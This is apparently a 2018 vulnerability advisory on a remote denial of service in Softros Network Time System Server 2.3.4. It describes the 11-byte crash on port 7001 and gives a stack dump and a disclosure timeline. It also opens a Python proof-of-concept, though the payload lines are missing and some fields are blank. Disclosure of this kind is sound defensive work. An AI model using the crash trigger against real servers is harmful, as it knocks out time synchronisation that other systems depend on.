Softros Network Time System Server 2.3.4 Denial Of Service

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  • Softros Network Time System Server version 2.3.4 suffers from a denial of service vulnerability.
    MD5 | 8399908f436c56ef779abd559a2fef0a

    [+] Credits: John Page (aka hyp3rlinx)      
    [+] Website:  
    [+] Source:  
    [+] ISR: Apparition Security            
    Network Time System Server v2.3.4   
    Both x86/x64 versions  
    Network Time System provides a solution to system time maintenance problems. This powerful client/server software enables you to set up a  
    virtually fail-safe synchronized time environment for networks of any size and complexity, from small office networks (LAN) to those  
    maintained at large enterprises (VPN, VLAN, WAN), from single site networks to those including numerous domains and involving complex  
    routing techniques. Network Time System allows the creation of a custom source of precise time in a corporate network environment  
    establishing an interconnected time synchronization system for each and every machine and device on the company network.  
    Vulnerability Type:  
    Denial Of Service  
    CVE Reference:  
    Security Issue:  
    Network Time System (Server) "NTSServerSvc" service listens on Port 7001, unauthenticated remote attackers can crash the  
    Server by sending exactly 11 bytes to the target system. Systems which may depend on critical time synchronization   
    could then potentially be impacted.  
    Stack dump:  
    eax=0320119a ebx=0000000b ecx=000000ff edx=00000000 esi=03167040 edi=0050b328  
    eip=004069a5 esp=0447fee8 ebp=0447ff28 iopl=0         nv up ei ng nz ac pe cy  
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297  
    004069a5 880a            mov     byte ptr [edx],cl          ds:0023:00000000=??  
    Resetting default scope  
    004069a5 880a            mov     byte ptr [edx],cl  
    EXCEPTION_RECORD:  (.exr -1)  
    ExceptionAddress: 004069a5 (NTSServerSvc+0x000069a5)  
    ExceptionCode: c0000005 (Access violation)  
    import socket  
    #Network Time System (Server) NTSServerSvc.exe v2.3.4   
    #Softros Systems  
    #NTS Server service for time synchronization over network  
    print 'Network Time Server 11 byte Denial Of Service'  
    print 'by hyp3rlinx'  
    HOST=raw_input('Network Time Server IP')  
    Network Access:  
    Disclosure Timeline:  
    Vendor Notification: February 10, 2018  
    Second attempt : February 24, 2018   
    Request CVE, assigned by Mitre : March 3, 2018  
    March 5, 2018: Public Disclosure  
    [+] Disclaimer  
    The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
    Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
    that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
    is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
    for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
    or exploits by the author or elsewhere. All content (c).  


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